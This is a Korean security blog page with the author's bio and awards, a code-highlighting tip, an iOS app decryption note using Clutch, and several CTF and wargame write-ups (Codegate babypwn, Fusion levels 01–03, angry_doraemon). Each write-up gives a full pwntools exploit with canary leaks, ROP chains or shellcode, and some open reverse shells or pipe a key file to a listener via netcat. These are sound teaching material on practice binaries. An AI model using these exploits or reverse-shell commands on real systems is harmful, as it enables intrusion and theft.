- H사 H* ActiveX Bufferoverflow
- H사 H* ActiveX Bufferoverflow
- P사 P* ActiveX Bufferoverflow
- 2013
- N사 XSS
- MessagePopup Messagenger Bufferoverflow
- Akelpad Heap Unicode Bufferoverflow
- 논문
- 2020. AI Browser Forensic Toolkit(Digital Investigation, SCIE)
- 2016. [금보원2016-02]전자금융과 금융보안 제4호(금융보안원, 금융회사의 안전한 비대면 인증을 위한 연구)
- 2015. 지급결제제도 발전 논문 3등(금융결제원, 안전한 전자금융거래를 위한 ATM 분석평가 방법론 연구)
- 수상내역
- 2021. KISA HDCON 본선 1위(대상, 과학기술정보통신부장관상)
- 2020. K-사이버시큐리티챌린지 AI악성코드분석트랙 본선 2등(최우수상, 한국인터넷진흥원장상)
- 2020. K-사이버시큐리티챌린지 AI악성코드분석트랙 경기권역 2등(경기도경제과학진흥원장상)
- 2019. 네이버 버그바운티 명예의 전당 등재
- 2018. 금융보안원 위협분석대회 1위(대상)
- 2017. CCE(국가보안기술연구소) 해킹대회 예선3위 / 본선6위
- 2016. KISA HDCON 본선 6위
- 2016. "윈도우 시스템 해킹 가이드" 리버싱 분야 우수학술도서 선정
- 2015. KISA HDCON 본선 6위
- 2014. KISA보호나라 S/W신규취약점 신고 2014년 명예의전당 TOP 3
- 2011. KISA&KISIA 주최 악성코드 찾기대회 1등
hyunmini85@gmail.com
Terminal Code Highlight - pygmentize, highlight
포스팅하면서 코드 색깔 입히는 게 귀찮았는데 (몇몇 좋은 js 모듈이나 온라인 highligher 사이트가 있지만 편집하기가 생각보다 불편...)
터미널에서 쉽게 코드에 색을 입히는 프로그램을 찾아서 정리해 둔다.
여러개 있는것 같지만 두가지만 정리.
highlight
$ brew install highlight
hyunmini:cpp $ highlight -O ansi test.cpp #include <iostream> #include <fstream> #include <map> #include <string.h> using namespace::std; map<int,string> test1234; int main(){ string myStr = "test"; cout << "test string: " << myStr << "(" << myStr.length() << endl; map<int,string>::iterator it; test1234.insert(pair<int,string>(0,"haha")); test1234.insert(pair<int,string>(1,"222a")); it = test1234.begin(); cout << (*it).first << endl; cout << (*it).second << endl; } |
Pygments
$ pip install Pygments
$ pygmentize -g dbi.py
hyunmini:frida $ pygmentize -g dbi.py #!/usr/bin/python #-*- coding: utf-8 -*- import sys import frida import codecs class Logger(object): INFO = '\033[10m' # white SUCC = '\033[92m' # green WARN = ' \033[93m' # yellow END = '\033[0m' # normal(white) @staticmethod def info(msg): # print console print Logger.INFO + msg + Logger.END @staticmethod def succ(msg): # print console print Logger.SUCC + msg + Logger.END @staticmethod def warn(msg): # print console |
별칭 등록
hyunmini:frida $ alias
alias ccat='highlight -O ansi'
alias pcat='pygmentize -g'
끝~
'Programming' 카테고리의 다른 글
python 을 이용한 bruteforcing (0) | 2016.07.28 |
---|---|
py2exe 사용법 (0) | 2014.03.04 |
Codegate 2017 - babypwn
육아 때문에 최근 공부를 거의 못하고 있으나...pwnable 만은 놓지 않기 위해 시간날때마다 조금씩이라도 풀어보려 노력중이다. ㅠ
babypwn 은 Codegate 2017 prequal 에 출제 되었던 문제이다. 문제 환경도 잘 모르겠고 세팅하기 귀찮으니
대충 있는 리눅스 가상머신에 올려서 풀었다.
>>> print e.checksec()
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
stack canary 와 NX 가 걸려있다. fork() 를 해주기 때문에 aslr 은 큰 의미는 없다. canary 역시 fork() 때문에 재실행 전까지는 동일하다.
이런 유형의 문제는 보통 leak 가 가능하도록 되어있으므로 확인해 보자.
일단 0x8048907() 함수 내부에서 recv 로 입력값을 받는데, v2 버퍼는 0x28(40) byte 밖에 안되는데 0x64(100) 을 입력받고 있다.
그로인해 60바이트만큼 오버플로우가 발생한다.
하지만 버퍼 바로 아래에 canary 가 있어서 리턴 직전 확인하고 있으므로 (ssp 보호기법) 먼저 canary 를 leak 해야 한다.
canary 와 버퍼가 붙어있으므로 AAAA|canary 요렇게 빈틈없이 채워주면 message 를 출력해줄때 canary 까지 같이 출력하게 할 수 있다.
# leak.py
#!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') print "[*] codegate 2017 babypwn exploit by hyunmini" e = ELF('./babypwn') rop = ROP(e) log.info("stage 0 : leak canary") r = remote("192.168.231.128",8181) print r.recvuntil('menu > ') r.send('1\n') print r.recv(1024) r.send('a'*41) print hexdump(r.recv(1024))
hyunmini:codegate2017 $ python babypwn.py
[*] codegate 2017 babypwn exploit by hyunmini
[*] Loaded cached gadgets for './babypwn'
[*] stage 0 : leak canary
[+] Opening connection to 192.168.231.128 on port 8181: Done
▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒
▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒
===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu >
Input Your Message :
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 61 61 61 61 61 61 61 61 61 75 16 35 f4 ff 75 b7 │aaaa│aaaa│au·5│··u·│
00000030
[*] Closed connection to 192.168.231.128 port 8181
붉게 표시된 부분이 leak 된 canary 값이다. 40 바이트만 찍어도 나와야 하는데 41바이트 찍어야 나오는 걸로 봐서
canary 첫번째 바이트는 0x00 임을 알 수 있다.
즉, 0x35167500 일 것이다.(little endian 이니)
이제 전체적인 rop exploit 을 구성해서 공격하면 된다.
간단하게 recv 함수로 bss 영역에 인자값을 입력받고, system 함수의 인자값으로 사용할 것이다.
pwntools 쓰면 요렇게 두줄로 간단하게 할 수 있다.
조금 살펴보니 pwntools 가 아래처럼 입력하면 알아서 ppr, pppr 넣어주고, plt 에 해당 함수 있으면 plt 호출,
없으면 srop 를 해준다. srop 도 안되면 에러를 내뿜는다.
rop.recv(0x4,e.bss(),len(cmd)+1,0x0) rop.system(e.bss())
아래는 전체 코드이다.
babypwn
#!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') print "[*] codegate 2017 babypwn exploit by hyunmini" e = ELF('./babypwn') rop = ROP(e) log.info("stage 0 : leak canary") r = remote("192.168.231.128",8181) print r.recvuntil('menu > ') r.send('1\n') print r.recv(1024) r.send('a'*41) recv_buf = r.recv(1024)[41:44] print hexdump(recv_buf) canary = u32('\x00' + recv_buf) log.info("found canary : 0x%x" % canary) cmd = "nc.traditional -e /bin/sh 192.168.231.1 7777" #cmd = "cat flag | nc 192.168.231.1 7777" rop.recv(0x4,e.bss(),len(cmd)+1,0x0) rop.system(e.bss()) payload = 'A'*40 + p32(canary) + 'B'*12 + rop.chain() + '\n' log.info("stage 1 : eip control") p = remote("192.168.231.128",8181) print p.recvuntil('menu > ') p.send('1\n') print p.recvuntil('Message : ') p.send(payload + '\n') print p.recvuntil('menu > ') p.send('3\n') p.send(cmd)
# ./babypwn.py
=============================================
hyunmini:codegate2017 $ nc -lv 7777
ls
babypwn
cd ..
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2014 pwn 250 Writeup + pwntools 연습 (0) | 2016.12.16 |
wargame - fusion / level03
LEVEL03
level03 이다. 적용된 기법은 아래와 같이 NX 정도이다.
>>> print e.checksec()
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
RPATH: '/opt/fusion/lib'
FORTIFY: Enabled
소스코드를 보면 아래와 같이 토큰을 하나 생성해서 보내고, 입력값을 받는데 이때 토큰값을 검증한다. 그 후에 입력된 주소로 해당 내용을 전송해 준다.
입력값을 받을 때 한가지 특징으로 한번 입력 후 곧바로 close(0,1,2) 를 해주고 있어서 write(4, leak주소, 4) 이런 식의 payload 사용은 어려움. 소켓이 닫혀버리니까
또 한가지 특징으로 입력값 검증을 하는데, 첫번째로 token 이 가장 앞에 있는지 확인한다.
두번째로 해쉬값을 비교하여 처음 두 바이트가 0x00 인지 확인한다.
검증이 끝난 후 json 형식을 파싱해주는 과정에서 취약점이 발생하는데, 해당 부분은 아래 코드이다.
결론부터 말하면 while 구문 내부의 조건식이
1) src 가 널바이트가 아니고
&&
2) dest 가 end 랑 다르면
이기 때문이다. 즉 둘중 하나의 조건만 만족하지 않으면 계속 복사를 하게 된다는 뜻이다.
소스를 보면 "\\u" 가 있으면 dest 를 case '\\' 문에서 한번 증가시키고, 'u' 에서 또 증가시키면서
dest 와 end 가 계속 달라지게 된다. 이로 인해 src 가 널바이트가 될 때까지 계속 복사를 하게 되고
실질적으로 strcpy 처럼 스택을 덮어쓰게 된다.
먼저 validate 함수를 우회하기 위하여 공격 payload 에 임의의 숫자값을 for 문으로 돌려서 0x00, 0x00 이 나오는 해쉬값을 찾도록 해준다.
def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1
다음은 eip 변조 테스트.
buf = "A"*127 + "\\\\ua" + "A"*34 + "BBBB" # 34 + eip
req_col = find_collision(token, buf)
r.send(req_col)
gdb$ --------------------------------------------------------------------------[regs] EAX: 0xFFFFFFFF EBX: 0x41414141 ECX: 0xB7562398 EDX: 0xFFFFFFFF o d I t S z a P c ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFDAB66C EIP: 0x08049E08 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B [0x007B:0xBFDAB66C]------------------------------------------------------[stack] 0xBFDAB6BC : 10 00 00 00 F4 0F 56 B7 - 55 BC 41 B7 19 A2 04 08 ......V.U.A..... 0xBFDAB6AC : 02 00 4E 23 00 00 00 00 - 00 00 00 00 00 00 00 00 ..N#............ 0xBFDAB69C : 02 00 FF C4 C0 A8 E7 01 - 00 00 00 00 00 00 00 00 ................ 0xBFDAB68C : 0B 90 04 08 0D 00 00 00 - 01 00 00 00 FF FF FF FF ................ 0xBFDAB67C : 00 00 00 00 04 00 00 00 - 98 B6 DA BF 02 00 00 00 ................ 0xBFDAB66C : 42 42 42 42 04 00 00 00 - 00 00 00 00 02 00 00 00 BBBB............ --------------------------------------------------------------------------[code] => 0x8049e08 <handle_request+264>: ret 0x8049e09 <handle_request+265>: lea esi,[esi+eiz*1+0x0] 0x8049e10 <handle_request+272>: mov DWORD PTR [esp+0x4ac],0x80 0x8049e1b <handle_request+283>: mov DWORD PTR [esp],ebx 0x8049e1e <handle_request+286>: call 0x8048da0 <json_object_get_string@plt> 0x8049e23 <handle_request+291>: lea edx,[esp+0x4ac] 0x8049e2a <handle_request+298>: mov DWORD PTR [esp+0x8],edx 0x8049e2e <handle_request+302>: lea edx,[esp+0x42c] -------------------------------------------------------------------------------- 0x08049e08 in handle_request () at level03/level03.c:193 193 in level03/level03.c gdb$ --------------------------------------------------------------------------[regs] EAX: 0xFFFFFFFF EBX: 0x41414141 ECX: 0xB7562398 EDX: 0xFFFFFFFF o d I t S z a P c ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFDAB670 EIP: 0x42424242 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: Cannot access memory at address 0x42424242 0x42424242 in ?? ()
정확하게 0x42424242 로 변조가 되는 것을 확인했다. 이제 ROP 를 하면 되는데.. 널바이트가 들어가면 안되기 때문에 pwntools 를
이용한 rop 는 조금 제약이 있었다.
여러번 삽질 후 세운 payload 는 아래와 같다.
1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)
2) memcpy 로 bss 에 system 인자값 쓰기
memcpy(bss+4,gContents,4) // gContents = 0x804bdf4 => 0x900e5c8 (이중포인터)
3) srand plt(system) 호출
srand@plt(bss+8) // reverse nc command
은 실패했다.
실패한 이유는 gContents 가 이중포인터라 실패.. mov 로 값을 꺼내주려고 하니 마땅한 가젯이 없음..
아래와 같이 leave ret 를 이용한 fake ebp 를 이용하여 공격에 성공했다. stack frame 을 bss 에 다시 구성해주고,
leave 명령을 이용하여 ebp 를 bss 로 변경해준다. 그리고 system 함수로 return 하여 reverse connection 실행!
1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)
2) memcpy 로 bss 에 srand@plt, command 쓰기
memcpy(bss, srand@plt,4)
memcpy(bss+8, gContents, len(cmd))
3) leave 를 이용하여 fake ebp
ebp 를 미리 조작하고, leave 명령을 이용하여 esp 를 변경, 미리 복사한 bss 영역으로 stack frame 변조
4) srand plt(system) 호출
srand@plt(bss+8) // reverse nc command
아래는 전체 exploit 코드이다. pwntools 를 쓰기 위해 노력했으나(pwntools 연습중이니..) 이번 문제의 경우 수작업 rop
가 필요하여 생각보다 활용도가 낮았다. 다만 e.bss(), e.plt[], e.got[], e.symbols[] 등은 유용했다.
#!/usr/bin/python import hmac import hashlib import json from pwn import * context(arch='i386',os='linux') r = remote("192.168.231.128",20003) e = ELF('../bin/level03') rop = ROP(e) s = ssh(host="192.168.231.128",user="fusion",port=22,password="godmode"
REVERSE_NC = "nc.traditional -e /bin/sh 192.168.231.1 7777"
def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1 log.info("fusion level03 exploit by hyunmini") token = r.recv(1024).strip().strip('"') log.info("get token : %s" % token) # exploit condition # eip control breakpoint : 0x8049e04 <handle_request+260>: # control reg : ebx, esi, edi, ebp buf = "A"*127 + "\\\\ua" + "A"*34 # 34 + eip # srand got =+ system offset (0x9b60) => srand@plt = system() rop = p32(0x08049b4f) # pop eax ; add esp, 0x5c ; ret // eax = 0x9b60 rop += '\\\u609b\\\u0000' rop += "A"*0x5c rop += p32(0x08049a4f) # pop ebx ; ret // ebx rop += p32(e.got['srand'] - 0x5d5b04c4 & 0xffffffff) rop += p32(0x080493fe) # add dword ptr [ebx + 0x5d5b04c4], eax ; ret) # memcpy(bss+4, srand@plt, 4) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss()) rop += p32(e.got['srand']) rop += '\\\u0400\\\u0000' # memcpy(bss+8, gContents, len(cmd)) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss(8)) rop += p32(e.symbols['gContents']) rop += '\\\u0400\\\u0000' # fake ebp rop += p32(0x8049205) # pppr rop += p32(e.bss()-4) * 3 rop += p32(0x8049431) # leave, ret payload = buf + rop req_col = find_collision(token, payload) r.send(req_col)
# ./ex3_exploit.py // exploit 성공
hyunmini:solve $ nc -lv 7777
id
uid=20003 gid=20003 groups=20003
uname -a
Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level02 (0) | 2016.12.29 |
---|---|
wargame - fusion / level01 (0) | 2016.12.28 |
wargame - fusion / level00 (2) | 2013.09.23 |
ios app 복호화 - Clutch 2.x 버전
오랫만에 ios 앱 해킹을 다시 하려다 보니 가물가물해서 간단히 다시 정리하기로 했다.
복호화 - Clutch
(https://github.com/KJCracks/Clutch/releases)
# wget https://github.com/KJCracks/Clutch/releases/download/2.0.4/Clutch-2.0.4
# chmod 755 ./Clutch-2.0.4
# Clutch -i
Installed apps:
1: *알리미 <com.*******.smartcaremgr>
2: Find My iPhone <com.apple.mobileme.fmip1>
3: Google Authenticator <com.google.Authenticator>
4: Chrome - web browser by Google <com.google.chrome.ios>
5: Hangouts <com.google.hangouts>
6: Google Drive - free online storage <com.google.Drive>
7: 신한S뱅크 <com.shinhan.sbank>
8: Google Sheets <com.google.Sheets>
# Clutch -b 1
ASLR slide: 0x3a000
Dumping <NotificationService> (armv7)
Patched cryptid (32bit segment)
ASLR slide: 0x8d000
Dumping <NotificationContent> (armv7)
Patched cryptid (32bit segment)
Writing new checksum
Writing new checksum
ASLR slide: 0x19000
Dumping <SMail> (armv7)
Patched cryptid (32bit segment)
Writing new checksum
Finished dumping com.shinhan.smartcaremgr to /var/tmp/clutch/59213352-****-4411-****-1A8D42C57BC5
Finished dumping com.shinhan.smartcaremgr in 2.6 seconds
Clutch 업데이트가 중단된걸로 알았었는데 2.0.4 버전이 작년에 나왔다. -i 로 목록을 본 후 -b 로 번호만 지정해주면 끝.
'iOS App Hacking' 카테고리의 다른 글
ios 앱 사용자 함수 hooking (using frida) (2) | 2017.08.16 |
---|---|
iOS App Debugging - LLDB (1) | 2015.08.18 |
iOS App Runtime 조작 (0) | 2015.08.17 |
ios app hacking - (1) ios app 의 구조 (0) | 2014.02.03 |
wargame - fusion / level02
LEVEL02
level02 는 NX, ASLR 이 걸려있으며, 기본적인 난독화 및 수학 관련 문제라는 힌트가 주어진다.
NX 때문에 쉘코드를 직접 실행하기는 어려우며, ROP 를 이용해야 한다. 단순히 개인적인 정리용도의 풀이이므로 ROP 등을 정리하지는 않는다.
한줄로 설명하면 고전적인 RTL 기법을 발전시켜서 연속적인 Gadget (Ret 로 끝나는 코드 조각) 들을 실행시키는 기법이다. 최근 문제는 대부분 ROP 가 기본으로 들어가는 경우가 많다.
취약점 확인
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | void encrypt_file() { // http://thedailywtf.com/Articles/Extensible-XML.aspx // maybe make bigger for inevitable xml-in-xml-in-xml ? unsigned char buffer[32 * 4096]; unsigned char op; size_t sz; int loop; printf("[-- Enterprise configuration file encryption service --]\n"); loop = 1; while(loop) { nread(0, &op, sizeof(op)); switch(op) { case 'E': // E 자가 입력되면 nread(0, &sz, sizeof(sz)); // 입력받을 사이즈 지정 nread(0, buffer, sz); // 내용 입력, 취약 cipher(buffer, sz); // 입력된 내용 암호화 printf("[-- encryption complete. please mention " "474bd3ad-c65b-47ab-b041-602047ab8792 to support " "staff to retrieve your file --]\n"); nwrite(1, &sz, sizeof(sz)); // 암호화 사이즈 출력 nwrite(1, buffer, sz); // 암호화 내용 출력 break; case 'Q': loop = 0; break; default: exit(EXIT_FAILURE); } } } |
취약한 부분은 encrypt_file() 내부에서 발생하며, 정확한 지점은 고정된 buffer 에 동적으로 입력값 길이를 정해서 입력받는 아래 부분이다.
nread(0, buffer, sz);
간단히 확인해보면 crash 가 발생하는 것을 확인할 수 있다.
$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4+'Q'" | nc 192.168.231.128 20002
root@fusion:/opt/fusion/bin# dmesg | tail -2[54915.235279] level02[7797]: segfault at c754dba ip 0c754dba sp bf9d99b0 error 14[54927.307910] level02[7805]: segfault at 7ab5e3fe ip 7ab5e3fe sp bf9d99b0 error 14문제는 입력받은 버퍼를 바로 아랫줄에서 cipher(buffer, sz) 와 같이 암호화 하고 있다는 것이나, 함수를 살펴보면 간단하게 XOR 연산을 해주는 것임을 알 수 있다.key 값이 랜덤이지만, XOR 연산이기 때문에 0 과 XOR 연산을 수행하도록 해서 key 를 확인할 수 있다. 키 버퍼는 128 byte (XORSZ=32, *4) 이다. 첫번째 접속해서 128 바이트만큼 0을 입력해서 값을 받아오고, 키 버퍼를 받아온 후에 두번째 실제 payload 를 xor 해서 보내면 정상값이 들어갈 것이다.root@fusion:/opt/fusion/bin# dmesg | tail -1[55235.606684] level02[7847]: segfault at 42424242 ip 42424242 sp bf9d99b0 error 1이제 간단히 ROP 를 수행하면 된다. 아래는 전체 Exploit 코드이다.
#!/usr/bin/python
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level01 exploit by hyunmini"
r = remote("192.168.231.128",20002)
e = ELF('./level02')
rop = ROP(e)
print r.recvuntil('--]\n')
op_start = "E"
op_size = "\x80\x00\x00\x00"
op_end = "Q"
payload = "\x00" * 0x80
print "[+] stage 0 : recv xor_key"
r.send(op_start + op_size + payload )
print r.recvuntil('--]\n')
print "eeee"
sleep(0.2)
bufcount = r.recvuntil('\x80\x00\x00\x00')
print "[+] buf count : %d" % u32(bufcount)
xor_buf = r.recv(128)
print hexdump(xor_buf)
def xor(buf, key):
result = ''
for i, enc in enumerate(buf):
result += chr(ord(enc)^ord(key[i % len(key)]))
print "encoding (%d:%d) bytes" % (len(buf), len(result))
return result
#-------------------------------------------#
print "[+] sending rop payload..."
payload2 = "A"*0x20010
# rop chain
cmd = "/bin/sh\x00"
rop.read(0,e.bss(),len(cmd))
rop.execve(e.bss(),0,0)
ropchain = rop.chain()
payload2 += ropchain
payload2 = xor(payload2, xor_buf)
op_size = p32(len(payload2))
r.send(op_start)
r.send(op_size)
r.send(payload2)
r.send(op_end)
r.send(cmd)
print "[*] finish !!"
r.interactive()
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level03 (0) | 2017.02.27 |
---|---|
wargame - fusion / level01 (0) | 2016.12.28 |
wargame - fusion / level00 (2) | 2013.09.23 |
wargame - fusion / level01
LEVEL01
level01 은 level00 과 동일한 소스코드이지만 버퍼 주소를 출력해주지 않는다. 취약점 발생지점은 동일하므로 긴 설명이 필요없고,
동일한 공격방식이되 버퍼 주소값을 모를 때 어떻게 해야 하는가를 묻는 문제이다.
주소를 몰라도 바로 뒤로 점프하는 "trampoline techniques" 으로 불리는 jmp esp 등의 코드를 이용하면 된다.
[그림] 취약 함수
gdb-peda$ b *0x8049854 // 취약함수 ret 주소
gdb-peda$ set follow-fork-mode child // gdb fork() 자식 프로세스 디버깅
gdb-peda$ x/4i $eip-6
0x804984e : call 0x80489a0
0x8049853 : leave
=> 0x8049854 : ret
0x8049855 : push ebp
gdb-peda$ x/12x $esp // ret 직전의 스택, payload 가 정상적으로 입력된 것 확인
0xbffff32c: 0x08049f4f 0x16eb9090 0x00000000 0x00000004
0xbffff33c: 0x001761e4 0x001761e4 0x000027d8 0x20544547
0xbffff34c: 0x41414141 0x41414141 0x41414141 0x41414141
gdb-peda$ x/i 0x8049f4f // ret 실행 시 jmp esp 주소로 점프 ( ret = pop eip = ret 시점의 esp 주소)
0x8049f4f: jmp esp
gdb-peda$ x/4i 0xbffff32c+4 // jmp esp 후에 실행될 코드
0xbffff330: nop
0xbffff331: nop
0xbffff332: jmp 0xbffff34a
0xbffff334: add BYTE PTR [eax],al
gdb-peda$ x/4i 0xbffff34a // short jump 후 실행될 쉘코드 확인
0xbffff34a: push esp
0xbffff34b: and BYTE PTR [ecx+0x41],al
0xbffff34e: inc ecx
0xbffff34f: inc ecx
익스플로잇 코드
# ex_level01.py
from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"
r = remote("192.168.231.128",20001)
e = ELF('./level01')
rop = ROP(e)
shellcode = asm(shellcraft.dupsh(4))
jmp_esp = p32(e.search(asm("jmp esp")).next())
jmp = "\x90\x90\xeb\x16"
nop = "\x90"*60
payload = "GET " + "A"*139 + jmp_esp + jmp +" HTTP/1.1 " + nop + shellcode
r.send(payload)
print " [+] Success!! got shell"
r.interactive()
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level03 (0) | 2017.02.27 |
---|---|
wargame - fusion / level02 (0) | 2016.12.29 |
wargame - fusion / level00 (2) | 2013.09.23 |
Codegate 2014 pwn 250 Writeup + pwntools 연습
Pwntools
CTF 문제 풀이용 Framework 인 pwntools(pwnlib) 를 그동안 제대로 활용하지 못하고 있었는데(접속과 쉘코드 정도만 사용), 다양한 기능 연습 겸 최대한 pwntools 를 써가며 이전 pwnable 문제들을 풀어보기로 했다.
angry_doraemon (Codegate 2014, pwn 250 문제)
□ description
==========================================
OS : Ubuntu 13.10 x86
IP : 58.229.183.18 / TCP 8888
http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9
==========================================
□ number of solvers : 57
□ breakthrough by
1 : More Smoked Leet Chicken (02/23 06:16)
2 : ppp (02/23 06:22)
3 : stratumauhuur (02/23 06:28)
실행시켜보면 도라에몽과 싸우는 텍스트 게임이다.
바이너리 보호기법 확인
먼저 바이너리에 적용된 보호기법을 살펴보자. checksec 스크립트 대신 아래와 같이 한줄로 대신할 수 있다.
#> python -c 'from pwn import *;ELF("./angry_doraemon")'
쓰고보니 이게 더 귀찮네..-.-;
Stack Canary (SSP 보호기법) 가 적용되어 있으며, NX 도 적용되어 있는 것을 볼 수 있다. 물론 Ubuntu 13.10 이므로 ASLR 적용
적용된 보호기법을 확인했으니 취약점이 발생하는 부분을 찾아 보도록 하자.
취약점 분석
IDA로 살펴보면 아래와 같이 4번 메뉴 입력값을 받을 때 read() 함수에서 할당된 버퍼보다 더 큰 수만큼 읽어오기 때문에 bof 취약점이 밟생하는 것을 확인할 수 있다.
buf 변수는 4바이트밖에 안되는데 110 바이트를 입력받고 있다. 기초적인 bof 문제같지만 SSP 보호기법 때문에 stack canary 가 존재한다. 스택에 stack canary 가 존재하며, 이를 검사하여 다른 값으로 덮어씌워졌을 경우 bof 로 판단하여 조작된 리턴주소로 점프하지 않고 에러를 내뱉는다. 윈도우 계열에서는 SEH Overwrite 를 이용하여 우회가 가능한 보호기법인데, linux 의 경우 SEH 가 존재하지 않으므로 다른 방법으로 우회해야 한다.
풀리라고 만든 문제인 만큼 대부분 바이너리에서 어떤 방법으로든 우회가 가능하게 구성이 되어있다. 이 바이너리의 경우에는 바로 아래쪽에 있는 sprintf 함수를 이용하면 우회가 가능하다. buf 를 출력해 주고 있는데, sprintf 함수는 널바이트를 문자열의 끝으로 인식하므로 canary 까지 널바이트가 없도록 쓰레기값으로 채워주면 canary 까지 출력이 된다.
| buf | ..... | canary |
abcd\x0
sprintf(buf) => abcd
==================================================
| buf | ..... | canary |
aaaaaaaaaaaaaaa| canary |
sprintf(buf) => aaaaaaaaaacanary
간단하게 코드를 작성하여 보면 예상대로 canary 값을 얻을 수 있다. 이 값은 fork() 로 인해 변하지 않으므로 한번 확인한 값을 계속 사용하면 된다. fork() 는 부모 프로세스 메모리 주소를 그대로 받아서 사용하므로 바이너리가 재 실행 되기 전까지는 변하지 않는다.
# leak.py
#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')
print "[+] angry_doraemon exploit by hyunmini"
SIP = '192.168.182.202'
SPORT = 8888
e = ELF('./angry_doraemon')
# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary
canary 를 출력하기 위해서 10 byte 를 채워주면 되지만 실제로 y*10 을 하면 canary 값이 전송되지 않는 것으로 보아 첫번째 canary byte 는 '\x00' 임을 알 수 있다.
이제 canary 값을 구했으니 일반적인 ROP Exploit 을 작성하면 된다.
# pwn_rop.py
#!/usr/bin/python
import time
from pwn import *
context(arch='x86', os='linux', endian='little')
print "[+] angry_doraemon exploit by hyunmini"
SIP = '192.168.182.202'
SPORT = 8888
e = ELF('./angry_doraemon')
rop = ROP(e)
rop2 = ROP(e)
offset = 0x8bd80 # write - system
bss = e.bss() # writable addr
# leak canary
print '\n\n\n ### leak canary...\n\n\n'
r = remote(SIP, SPORT)
print r.recvuntil('>')
r.send('4')
print r.recvuntil(' ')
sleep(0.1)
r.send('y'*11)
data = r.recvuntil('!!')
print hexdump(data)
canary = u32('\x00'+data[0x27:0x2a])
print '[+] leaked canary : 0x%x' % canary
# Stage 1 : leak Exploit
print '\n\n\n ### Stage 1 : leak write addr... \n\n\n'
r2 = remote(SIP ,SPORT)
print r2.recvuntil('>')
r2.send('4')
print r2.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)
rop.write(0x4, e.got['write'], 0x4)
payload = 'y'*10 + p32(canary) + "a"*12 + rop.chain()
r2.send(payload)
sleep(1)
data2 = r2.recv(2048)
write = r2.recv(2048)
print hexdump(write)
print '[+] leaked write addr : 0x%x' % u32(write)
system = u32(write) - offset
print '[+] system addr : 0x%x' % system
e.symbols['system'] = system
# Stage 2 : ROP Exploit
print '\n\n\n ### Stage 2 : ROP Exploit \n\n\n'
cmd = "cat key | nc 192.168.182.129 7777\x00"
r3 = remote(SIP ,SPORT)
print r3.recvuntil('>')
r3.send('4')
print r3.recvuntil(' ')
sleep(0.1)
#payload_rop = p32(read_plt) + p32(pppr) + p32(0x4) + p32(bss) + p32(len(cmd)) + p32(system) + "AAAA" + p32(bss)
rop2.read(0x4, bss, len(cmd))
rop2.system(bss)
payload = 'y'*10 + p32(canary) + "a"*12 + rop2.chain()
r3.send(payload)
sleep(1)
r3.send(cmd)
print r3.recv(1024)
기존에는 아래와 같이 p32 만 사용했었는데, 이번에 ROP 모듈을 살펴보니 훨씬 쉽게 작성이 가능했다.
payload_rop = p32(write_plt) + p32(pppr) + p32(0x4) + p32(write_got) + p32(0x4)
rop.write(0x4, e.got['write'], 0x4)
rop.chain()
nc 로 열고 exploit 을 실행하면 키값을 읽어오는 것을 확인할 수 있다.
끄읏
